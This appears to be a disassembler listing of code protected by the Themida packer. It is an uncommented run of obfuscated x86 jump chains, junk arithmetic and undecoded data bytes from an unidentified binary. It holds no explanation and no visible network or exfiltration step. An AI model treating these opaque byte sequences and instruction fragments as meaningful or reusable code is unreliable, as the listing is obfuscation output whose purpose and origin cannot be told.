		dw 0E681h
		dd 42117B0Ah, 7EE9DEF7h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A711F:				; CODE XREF: Themida_:0059B07Fj
					; Themida_:005A1AFAj
		mov	ebp, [esp]
		push	1CD5h
		mov	[esp], edx
		jmp	loc_5AA6D2
; ---------------------------------------------------------------------------
		db 87h
		dd 2FE92404h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7137:				; CODE XREF: Themida_:005987E9j
		jmp	loc_59A9FA
; ---------------------------------------------------------------------------


loc_5A713C:				; CODE XREF: Themida_:005A1735j
		neg	eax
		jmp	loc_5A2424
; ---------------------------------------------------------------------------


loc_5A7143:				; CODE XREF: Themida_:0059FD68j
					; Themida_:005AF27Dj
		add	edi, 0BAFD87E0h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5A517F
; ---------------------------------------------------------------------------


loc_5A715D:				; CODE XREF: Themida_:loc_5A34F9j
		sub	al, 90h
		jg	loc_5AC6D0
		xor	al, 89h
		jnp	loc_5AD5DA
		mov	al, 6Dh
		mov	ch, al


loc_5A7171:				; CODE XREF: Themida_:0059BD7Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	2DF2h
		mov	[esp], eax
		jmp	loc_5A8155
; ---------------------------------------------------------------------------


loc_5A7185:				; CODE XREF: Themida_:005A990Aj
		jmp	loc_5A2F4A
; ---------------------------------------------------------------------------


loc_5A718A:				; CODE XREF: Themida_:005A15BCj
		add	esp, 4
		push	6ECh
		jmp	loc_59DEC5
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0EBBh,	24048966h, 0E9CA8852h
		dd 0FFFF3E0Ch
; ---------------------------------------------------------------------------


loc_5A71B4:				; CODE XREF: Themida_:005A515Dj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 6EEB136Ah
		jmp	loc_5A13CA
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0A34EE904h, 0E901FFFFh, 4D6ABD55h, 0BF57759Ch, 78035DF7h
		dd 0EF81DFF7h, 7B252238h, 815FFD31h, 723ED9C1h,	4B3FE97Ah
		dd 8F54FFFFh, 0BA522404h, 4, 4245401h, 0C3815B5Ah, 4, 3304C383h
		dd 1C31241Ch, 8933E924h, 0BA66FFFFh, 8966A1FCh,	665A66D5h
		dd 0CBE9C529h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A722F:				; CODE XREF: Themida_:0059CACCj
		pop	ebp
		add	eax, edx
		add	eax, 565A2CD4h
		jmp	loc_5A18F4
; ---------------------------------------------------------------------------
		dd 5704C483h, 0D351B3BFh, 0EBCFE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A724A:				; CODE XREF: Themida_:0059CB61j
		add	esp, 4
		add	bl, al
		push	edx
		mov	dl, 0F2h
		sub	bl, dl
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	193h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5ABA82
; ---------------------------------------------------------------------------


loc_5A726A:				; CODE XREF: Themida_:0059BF83j
		shr	bl, 4
		add	bl, 1
		shl	bl, 1
		add	bl, 0BEh
		add	al, bl
		pop	ebx
		pop	ecx
		jmp	loc_59D416
; ---------------------------------------------------------------------------


loc_5A727E:				; CODE XREF: Themida_:loc_5A6060j
		jmp	loc_5AA037
; ---------------------------------------------------------------------------


loc_5A7283:				; CODE XREF: Themida_:005A0526j
		push	2C280AFDh
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 44E82016h
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 31CF5A65h
		or	edi, edx
		pop	edx
		shr	edi, 6
		jmp	loc_5A2D59
; ---------------------------------------------------------------------------


loc_5A72B0:				; CODE XREF: Themida_:00599617j
		shl	ecx, 3
		add	ecx, 0FFFFFFFFh
		jmp	loc_59B5BC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0B2D5E900h, 48BFFFFh, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 0FF420BE9h, 243C89FFh, 0F1E36BFh,	0F7BD551Eh, 810C9C3Dh
		dd 7308246Ch, 0E955FC46h, 0FFFF80FEh, 8244481h,	55FC4673h
		dd 247C015Dh, 246C8104h, 9C3DF704h, 48B5F0Ch, 0F8685624h
		dd 89000078h, 0B9512424h, 4, 4244C01h, 24348B59h, 8104C483h
		dd 4C6h, 4C68300h, 8B243487h, 0D8E92424h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A733F:				; CODE XREF: Themida_:00599CC3j
		sub	ecx, 3AD91FFFh
		jmp	loc_5A7F33
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 24048900h, 405E089h, 68000000h, 2738h,	52243489h
		dd 4BAh, 89575500h, 0E9FD89D7h,	0FFFF8EABh
; ---------------------------------------------------------------------------


loc_5A7374:				; CODE XREF: Themida_:005A2F50j
		add	ebx, 0C102D885h
		jmp	loc_5AD5BD
; ---------------------------------------------------------------------------


loc_5A737F:				; CODE XREF: Themida_:loc_5A765Cj
		shr	ecx, 4
		js	loc_59F145
		jmp	loc_5AB8D2
; ---------------------------------------------------------------------------


loc_5A738D:				; CODE XREF: Themida_:0059AC6Cj
		pop	esi
		not	esi
		jmp	loc_5A0CF1
; ---------------------------------------------------------------------------


loc_5A7395:				; CODE XREF: Themida_:005ADE66j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_59BA10
; ---------------------------------------------------------------------------


loc_5A73A5:				; CODE XREF: Themida_:005A1F0Bj
					; Themida_:005A55C7j
		shr	edx, 5
		add	edx, 328D1F80h
		push	edi
		jmp	loc_5ACF08
; ---------------------------------------------------------------------------


loc_5A73B4:				; CODE XREF: Themida_:005A675Ej
		sub	ecx, eax
		pop	eax
		jmp	loc_5AA671
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 68582434h, 5893h, 0E9243489h, 0FFFF6FE4h
		dd 0BF243C89h, 5970132Ch, 5602E7C1h, 0A91515BEh, 5EF73162h
		dd 0CBE5655h, 0BD6F9A22h, 2B193923h, 0CDE9F531h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A73F7:				; CODE XREF: Themida_:0059B652j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A8011
; ---------------------------------------------------------------------------


loc_5A740F:				; CODE XREF: Themida_:005AC3C3j
		not	edx
		jmp	loc_59CEB3
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0F5814D07h, 0A6627A9h, 4BF58145h, 890B9C4Ch,	0C6015DE8h
		dd 5624048Bh, 0C6815E54h, 4, 0E904C683h, 0FFFF8B05h
; ---------------------------------------------------------------------------


loc_5A7440:				; CODE XREF: Themida_:005AA34Dj
		mov	ebx, 249E7F87h
		mov	edi, 5F714A77h
		xor	edi, 12C5439h
		ja	loc_5A3187
		not	edi
		jmp	loc_5A54AD
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0BDh
		dd 590AB7A0h
; ---------------------------------------------------------------------------


loc_5A7464:				; CODE XREF: Themida_:005AA8B7j
		add	eax, 0A2359D2Dh
		jmp	loc_5AA5FB
; ---------------------------------------------------------------------------


loc_5A746E:				; CODE XREF: Themida_:loc_59C9A2j
		shl	edi, 2
		add	edi, 1F0A2591h
		jno	loc_5AB704
		sub	edi, 107FB628h
		push	eax
		jmp	loc_5A34A0
; ---------------------------------------------------------------------------


loc_5A7489:				; CODE XREF: Themida_:005A1473j
		add	edx, ebp
		add	edx, 1A9E3C29h
		jmp	loc_59EC66
; ---------------------------------------------------------------------------


loc_5A7496:				; CODE XREF: Themida_:005A249Cj
		xor	eax, 7BEA1B95h
		or	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	54221799h
		mov	edx, [esp]
		jmp	loc_5ADF95
; ---------------------------------------------------------------------------


loc_5A74B1:				; CODE XREF: Themida_:005A9FE4j
		mov	esi, [esp]
		jmp	loc_5A627D
; ---------------------------------------------------------------------------


loc_5A74B9:				; CODE XREF: Themida_:005ADE82j
		sub	ebp, 779BEF74h
		add	ebx, ebp
		pop	ebp
		push	7238h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598BE9
; ---------------------------------------------------------------------------


loc_5A74DA:				; CODE XREF: Themida_:005991D2j
		push	esi
		jmp	loc_5ADB23
; ---------------------------------------------------------------------------


loc_5A74E0:				; CODE XREF: Themida_:005A93F9j
		jmp	loc_5A1A26
; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(0FFh)
		dd 0E8C1FFFFh, 0EDD5E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A74F2:				; CODE XREF: Themida_:0059DC8Ej
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_5AE85B
; ---------------------------------------------------------------------------


loc_5A7510:				; CODE XREF: Themida_:005AA03Bj
		jnz	loc_5ACE09
		jmp	loc_5AD775
; ---------------------------------------------------------------------------
		db 89h
		dd 51B22414h, 0B47FC280h, 0F2815975h, 687915CDh, 148B5B52h
		dd 6B35E924h, 0E0C10000h, 22E95202h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A753F:				; CODE XREF: Themida_:005A2476j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edx, ebx
		and	ebx, 6E0567BEh
		xor	ebx, 7A855D95h
		jbe	loc_5A4AFB
		add	ebx, 66942AC8h
		jmp	loc_5AEA48
; ---------------------------------------------------------------------------
		dd 8F6C43BDh, 6E5C14Ch,	0FF4C81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7575:				; CODE XREF: Themida_:005A6DD7j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AD582
; ---------------------------------------------------------------------------


loc_5A7582:				; CODE XREF: Themida_:0059E3A2j
					; Themida_:005A2157j
		mov	edi, 2C74718Fh
		jmp	loc_5AC33E
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 0A01E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7596:				; CODE XREF: Themida_:0059E25Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	[esp], cl
		xor	cl, [esp]
		xor	[esp], cl
		jmp	loc_59838C
; ---------------------------------------------------------------------------
aJH		db 'ΎμJ/%h',0
		align 4
		dd 24048100h, 212928E0h, 0FF454FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A75C1:				; CODE XREF: Themida_:00599FCFj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A6177
; ---------------------------------------------------------------------------


loc_5A75E2:				; CODE XREF: Themida_:005AB81Bj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2B94h
		mov	[esp], ecx
		push	edi
		push	ebp
		mov	ebp, 7E3C2B7Ah
		jmp	loc_5A1CC6
; ---------------------------------------------------------------------------


loc_5A75FD:				; CODE XREF: Themida_:005A7B26j
		not	dword ptr [esp]
		inc	dword ptr [esp]
		pop	ebx
		xor	ebx, 0BA8CED51h
		jmp	loc_5A024F
; ---------------------------------------------------------------------------


loc_5A760F:				; CODE XREF: Themida_:0059C119j
					; Themida_:005A5016j
		neg	edx
		add	edx, 507F5522h
		jmp	loc_5AB4BF
; ---------------------------------------------------------------------------


loc_5A761C:				; CODE XREF: Themida_:005A44C7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		jmp	loc_5AC9FC
; ---------------------------------------------------------------------------
		db 89h
		dd 68572434h, 502C32C8h, 0E25EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A763E:				; CODE XREF: Themida_:0059D0E7j
		add	ecx, 20933698h
		shl	ecx, 2
		jnp	loc_59A8D8
		xor	ecx, 45A2DEE4h
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]


loc_5A765C:				; CODE XREF: Themida_:loc_5A9C90j
		jmp	loc_5A737F
; ---------------------------------------------------------------------------


loc_5A7661:				; CODE XREF: Themida_:005A2F7Cj
		add	dl, 5
		mov	ch, dl
		pop	edx
		jmp	loc_59AFA2
; ---------------------------------------------------------------------------
aS_7		db '^ι] ',0
		align 2
		dw 1489h
aSEi		db '$S³…ˆΪ[',0
		dd 1A5AE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7682:				; CODE XREF: Themida_:0059D757j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ch, 4
		mov	dh, 67h
		jmp	loc_5A4D55
; ---------------------------------------------------------------------------


loc_5A769C:				; CODE XREF: Themida_:loc_5A5851j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A8422
; ---------------------------------------------------------------------------


loc_5A76B4:				; CODE XREF: Themida_:005A848Dj
		mov	ebx, 61FB6D05h
		jmp	loc_5A4064
; ---------------------------------------------------------------------------


loc_5A76BE:				; CODE XREF: Themida_:005A1391j
		push	4C24h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5AF0B1
; ---------------------------------------------------------------------------


loc_5A76CD:				; CODE XREF: Themida_:0059A91Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A76E3:				; CODE XREF: Themida_:005AD04Cj
		add	esi, edx
		add	esi, 76D50DABh
		pop	edx
		jmp	loc_5A148B
; ---------------------------------------------------------------------------


loc_5A76F1:				; CODE XREF: Themida_:005988A4j
		sub	eax, 4CD9627Ah
		jmp	loc_59C1C7
; ---------------------------------------------------------------------------


loc_5A76FB:				; CODE XREF: Themida_:005A794Cj
		xchg	ecx, [esp]
		pop	esp
		push	bp
		xchg	ax, [esp]
		not	ax
		xchg	ax, [esp]
		mov	bp, [esp]
		push	ecx
		jmp	loc_59FD43
; ---------------------------------------------------------------------------


loc_5A7716:				; CODE XREF: Themida_:005A25F4j
		pop	edi
		xor	edx, 0EC379275h
		sub	ecx, edx
		pop	edx
		sub	ecx, 1321064Bh
		add	ecx, ebp
		jmp	loc_5A8885
; ---------------------------------------------------------------------------


loc_5A772D:				; CODE XREF: Themida_:0059DD7Bj
		add	ebx, eax
		push	7431h
		mov	[esp], edx
		mov	edx, 2F9F7511h
		sub	ebx, edx
		pop	edx
		push	esi
		mov	esi, 0F4F0D6Dh
		jmp	loc_5A9C00
; ---------------------------------------------------------------------------


loc_5A774A:				; CODE XREF: Themida_:005A83E6j
		not	ebx
		jmp	loc_5AB437
; ---------------------------------------------------------------------------


loc_5A7751:				; CODE XREF: Themida_:005ABD78j
		and	ebx, 7BF40681h
		jmp	loc_5A625C
; ---------------------------------------------------------------------------


loc_5A775C:				; CODE XREF: Themida_:005A12E0j
		sub	eax, 278E7559h
		sub	eax, ecx
		add	eax, 278E7559h
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A3F6B
; ---------------------------------------------------------------------------


loc_5A7773:				; CODE XREF: Themida_:0059E26Ej
		add	esi, 22C8E3C7h
		jmp	loc_59DA25
; ---------------------------------------------------------------------------


loc_5A777E:				; CODE XREF: Themida_:005A434Bj
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_59BBCD
; ---------------------------------------------------------------------------


loc_5A7794:				; CODE XREF: Themida_:0059CAECj
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5A7799:				; CODE XREF: Themida_:005AB97Fj
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 1526A184h
		sub	edx, ebp
		pop	ebp
		sub	edx, 728A3FF9h
		add	edx, eax
		push	ecx
		push	edi
		mov	edi, 5A9D2D0Fh
		sub	edi, 63EE48A8h
		push	ecx
		jmp	loc_5A03CB
; ---------------------------------------------------------------------------


loc_5A77C3:				; CODE XREF: Themida_:0059A5BEj
		xor	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59CB6F
; ---------------------------------------------------------------------------


loc_5A77D1:				; CODE XREF: Themida_:005AE21Bj
		mov	edx, 6D1608B1h
		inc	edx
		jo	loc_59FBF7
		sub	edx, 44971BE5h
		jnp	loc_5A7AD4
		xor	edx, 7E5B4Dh
		jl	loc_598EC2
		mov	dl, cl
		push	esi


loc_5A77F8:				; CODE XREF: Themida_:0059DD95j
		add	bl, ch
		jmp	loc_5A6234
; ---------------------------------------------------------------------------


loc_5A77FF:				; CODE XREF: Themida_:0059DF09j
		sub	dword ptr [edi+20h], 5C6011E6h
		jmp	loc_5A4BF8
; ---------------------------------------------------------------------------
		db 0Dh
		dd 91D4568h, 62F9850Fh,	868FFFFh, 89000066h, 8B502434h
		db 0EBh, 89h, 0D7h
; ---------------------------------------------------------------------------


loc_5A7823:				; CODE XREF: Themida_:005A337Fj
					; Themida_:005A83AAj
		mov	ah, bl
		pop	ebx
		pop	ecx
		jmp	loc_59ABD5
; ---------------------------------------------------------------------------


loc_5A782C:				; CODE XREF: Themida_:005A60ADj
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A3790
; ---------------------------------------------------------------------------
		dd 240C8966h, 0C80072B1h, 240C8B66h, 0FF7949E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7851:				; CODE XREF: Themida_:0059CAD8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A7856:				; CODE XREF: Themida_:005A6544j
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A2384
; ---------------------------------------------------------------------------


loc_5A7870:				; CODE XREF: Themida_:005983B9j
					; Themida_:005ACD0Aj
		dec	ebx
		jp	loc_5AE164
		inc	ebx
		jno	loc_59E0C7
		add	ebx, 583F9CBFh
		jmp	loc_5A6A25
; ---------------------------------------------------------------------------
		db 21h,	0D9h
; ---------------------------------------------------------------------------


loc_5A788B:				; CODE XREF: Themida_:0059A0D5j
		mov	ebp, 30982E63h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_59D180
; ---------------------------------------------------------------------------


loc_5A78A2:				; CODE XREF: Themida_:005A3A51j
		add	ebx, 868D5FF1h
		mov	esi, ebx
		pop	ebx
		jmp	loc_5A148B
; ---------------------------------------------------------------------------


loc_5A78B0:				; CODE XREF: Themida_:005A3A2Cj
		push	ebx
		push	edx
		push	13033889h
		pop	edx
		sub	edx, 39940AB4h
		jnz	loc_5ADD7F
		shl	edx, 5
		jnz	loc_5A342D
		mov	bl, ah


loc_5A78CF:				; CODE XREF: Themida_:005A22DEj
		xor	edx, 8B21CDFFh
		push	ebp
		jmp	loc_5A193A
; ---------------------------------------------------------------------------


loc_5A78DB:				; CODE XREF: Themida_:005A22EBj
					; Themida_:005A908Fj
		mov	bx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	ch, dl
		xor	dl, ch
		xor	ch, dl
		xchg	al, dl
		push	eax
		xchg	al, [esp]
		not	al
		xchg	al, [esp]
		mov	eax, [esp]
		add	esp, 4
		xchg	al, dl
		xchg	dl, ch
		push	238Ch
		jmp	loc_59DB7B
; ---------------------------------------------------------------------------


loc_5A7920:				; CODE XREF: Themida_:005AE4E1j
		jmp	loc_5AAFE4
; ---------------------------------------------------------------------------
		db 31h,	0D9h, 5Bh
		dd 393EEE81h, 36E94184h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7933:				; CODE XREF: Themida_:005AAA87j
		xor	ch, al
		mov	ax, [esp]
		add	esp, 2
		add	bh, ch
		mov	ecx, [esp]
		jmp	loc_5AE338
; ---------------------------------------------------------------------------


loc_5A7949:				; CODE XREF: Themida_:00598C09j
		add	ecx, 2
		jmp	loc_5A76FB
; ---------------------------------------------------------------------------
		db 68h,	0FBh, 15h
		dd 34890000h, 1ADDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A795E:				; CODE XREF: Themida_:0059CC7Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5ACBBE
; ---------------------------------------------------------------------------
		dd 4080C181h, 0C9813061h, 9912394h, 0FF393EE9h,	8BFD89FFh
		dd 0C481243Ch, 4, 0FF3F29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7991:				; CODE XREF: Themida_:005AB26Bj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 5591E80h
		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		dec	ecx
		push	ebx
		mov	ebx, 50055733h
		xor	ebx, 5D1C2DDAh
		jmp	loc_5988D9
; ---------------------------------------------------------------------------


loc_5A79C1:				; CODE XREF: Themida_:005A6A48j
		mov	ecx, 4762653Eh
		push	eax
		push	ecx
		push	52A315D8h
		pop	ecx
		jmp	loc_5A39AF
; ---------------------------------------------------------------------------


loc_5A79D3:				; CODE XREF: Themida_:005ABDDAj
		xor	ecx, 72E4326Bh
		sub	esi, ecx
		jmp	loc_598868
; ---------------------------------------------------------------------------


loc_5A79E0:				; CODE XREF: Themida_:005AAC5Aj
		add	edi, 78B63B7Ah
		add	edi, esi
		sub	edi, 78B63B7Ah
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5988E3
; ---------------------------------------------------------------------------


loc_5A79F9:				; CODE XREF: Themida_:0059F2E0j
		mov	ebp, ebx
		jmp	loc_5A61D4
; ---------------------------------------------------------------------------
		dd 13F668h, 36E5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7A0A:				; CODE XREF: Themida_:0059DDE7j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		jmp	loc_5AD051
; ---------------------------------------------------------------------------


loc_5A7A23:				; CODE XREF: Themida_:0059CE69j
		mov	eax, 0F1C748Bh
		add	eax, 3A10743Bh
		shl	eax, 8
		jmp	loc_5A66D5
; ---------------------------------------------------------------------------


loc_5A7A35:				; CODE XREF: Themida_:0059E2B0j
		mov	ah, 70h
		jmp	loc_5A5CE9
; ---------------------------------------------------------------------------


loc_5A7A3C:				; CODE XREF: Themida_:0059E2D5j
		xchg	eax, [esp]
		jmp	loc_598FCD
; ---------------------------------------------------------------------------


loc_5A7A44:				; CODE XREF: Themida_:005A93BDj
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5AC3E4
; ---------------------------------------------------------------------------
		db 80h,	0CCh, 0E6h
		dd 0C480CCFEh, 0E9E6305Bh, 0FFFF79B1h, 0FFB3DEE9h, 0EAEB81FFh
		dd 81140148h, 3970E5F3h, 30840F34h, 81FFFFCFh, 0CE398DEBh
		dd 76CB8166h, 0F51FE5Ch, 0FFA0908Bh, 88E955FFh
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7A8B:				; CODE XREF: Themida_:005A088Aj
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5A2CAA
; ---------------------------------------------------------------------------


loc_5A7A97:				; CODE XREF: Themida_:005A2D76j
		mov	ecx, 6156DF1h
		mov	ebx, ecx
		jmp	loc_5A1A26
; ---------------------------------------------------------------------------


loc_5A7AA3:				; CODE XREF: Themida_:005A97F3j
		push	ebx
		jmp	loc_5A676C
; ---------------------------------------------------------------------------


loc_5A7AA9:				; CODE XREF: Themida_:005A8BCEj
		add	edx, 35EE7308h
		push	eax
		mov	eax, 0A421F4Fh
		add	edx, eax
		jmp	loc_5A0E1B
; ---------------------------------------------------------------------------


loc_5A7ABC:				; CODE XREF: Themida_:005A2E9Aj
		pop	esp
		push	562Fh
		jmp	loc_5AC7CF
; ---------------------------------------------------------------------------


loc_5A7AC7:				; CODE XREF: Themida_:0059E7C9j
		push	edi
		mov	edi, 6B0266A2h
		inc	edi
		push	ecx
		jmp	loc_5A2E77
; ---------------------------------------------------------------------------


loc_5A7AD4:				; CODE XREF: Themida_:005A77E3j
		xor	edx, 7E5B4Dh
		jl	loc_59BF4D
		jmp	loc_59E1BB
; ---------------------------------------------------------------------------


loc_5A7AE5:				; CODE XREF: Themida_:0059C967j
		pop	ecx
		push	esi
		mov	esi, 0B63778Ch
		push	edi
		mov	edi, 7597038Bh
		and	esi, edi
		pop	edi
		sub	esi, 0ED50EA2h
		shl	esi, 7
		jmp	loc_5A1B94
; ---------------------------------------------------------------------------


loc_5A7B03:				; CODE XREF: Themida_:005AA535j
		add	ebx, ecx
		jmp	loc_5AA339
; ---------------------------------------------------------------------------


loc_5A7B0A:				; CODE XREF: Themida_:005A3E1Dj
		add	ebx, ebp
		pop	ebp
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 4D23F53Bh
		xor	esi, ebx
		jmp	loc_5986D6
; ---------------------------------------------------------------------------


loc_5A7B1D:				; CODE XREF: Themida_:0059849Cj
		add	esp, 4
		jmp	loc_59A602
; ---------------------------------------------------------------------------


loc_5A7B25:				; CODE XREF: Themida_:005A4C98j
		push	ebx
		jmp	loc_5A75FD
; ---------------------------------------------------------------------------
		db 31h
		dd 4EC83C3h, 68243C89h,	18DF592Ah, 5F2434FFh, 4C481h, 0B9510000h
		dd 0E384470h, 0FFFE23E9h, 240C86FFh, 0E9CB8853h, 0FFFFBD7Dh
		dd 4785CD81h, 800F4969h, 0FFFFA628h, 840FDDF7h,	5891h
		dd 94E5ED81h, 0EA895EF8h, 0E9242C8Bh, 0FFFFAA92h
; ---------------------------------------------------------------------------


loc_5A7B7C:				; CODE XREF: Themida_:0059D95Aj
		add	edx, 1C083D7Ah
		push	edx
		jmp	loc_5A6860
; ---------------------------------------------------------------------------


loc_5A7B88:				; CODE XREF: Themida_:00599810j
					; Themida_:0059ED30j
		pop	ebx
		jmp	loc_59D553
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 8236E900h, 3C89FFFFh, 48526824h, 505F4B8Ch
		dd 5768FB8h, 2DD8F756h,	858B4808h, 8158C709h, 106C02F7h
		dd 8BFD012Bh, 0C483243Ch, 81C52904h, 0FF2579EDh, 1EE95844h
		dd 1FFFF35h, 0F20159CEh, 8124348Bh, 4C4h, 7A6E900h, 0C781FFFFh
		dd 0E04BC479h, 7C568h, 241C8900h, 0D889FB89h, 83241C8Bh
		dd 3C8B04C4h, 4C48124h,	1000000h, 367DE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7C0E:				; CODE XREF: Themida_:0059CB4Ej
		pop	ebp
		xor	ebp, 7D4103A0h
		jmp	loc_5987CE
; ---------------------------------------------------------------------------


loc_5A7C1A:				; CODE XREF: Themida_:0059EFFBj
		sub	al, cl
		push	edx
		mov	dl, 0C0h
		shl	dl, 7
		or	dl, 0B0h
		neg	dl
		not	dl
		inc	dl
		add	dl, 8Ah
		add	al, dl
		pop	edx
		pop	ecx
		sub	al, bl
		sub	esp, 4
		jmp	loc_59DF6E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 8322E924h,	0C283FFFFh, 0E80E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7C52:				; CODE XREF: Themida_:005A8F33j
		dec	ch
		push	47C3h
		mov	[esp], ebx
		mov	bl, 18h
		push	0
		jmp	loc_5AAEE7
; ---------------------------------------------------------------------------
		dd 20A968h, 24348900h, 4D5168h,	24248900h, 4BA52h, 54010000h
		dd 5E5A0424h, 0FF8E0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A7C89:				; CODE XREF: Themida_:005AF270j
		pop	edx
		jmp	loc_5A1191
; ---------------------------------------------------------------------------


loc_5A7C8F:				; CODE XREF: Themida_:005A8AC2j
		pop	esi
		push	ebx
		push	edi
		mov	edi, 2760B40h
		jmp	loc_5A51E2
; ---------------------------------------------------------------------------
		dd 8958C389h, 241C8BDEh, 4C481h, 0BF570000h, 34C07FA1h
		dd 515FFE31h, 386CD7B9h, 0A6B9E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A7CBE:				; CODE XREF: Themida_:0059E936j
		add	esp, 2
		jmp	loc_5A3A14
; ---------------------------------------------------------------------------
		dw 7DBEh
		dd 0E951F930h, 0FFFF49F9h
; ---------------------------------------------------------------------------


loc_5A7CD0:				; CODE XREF: Themida_:0059B064j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A4E6E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 33017BC8h, 0FF0C9EE9h, 0E1C15EFFh, 0D353E908h, 800FFFFFh
		dd 1A08h, 0FFA2DFE9h
		db 0FFh
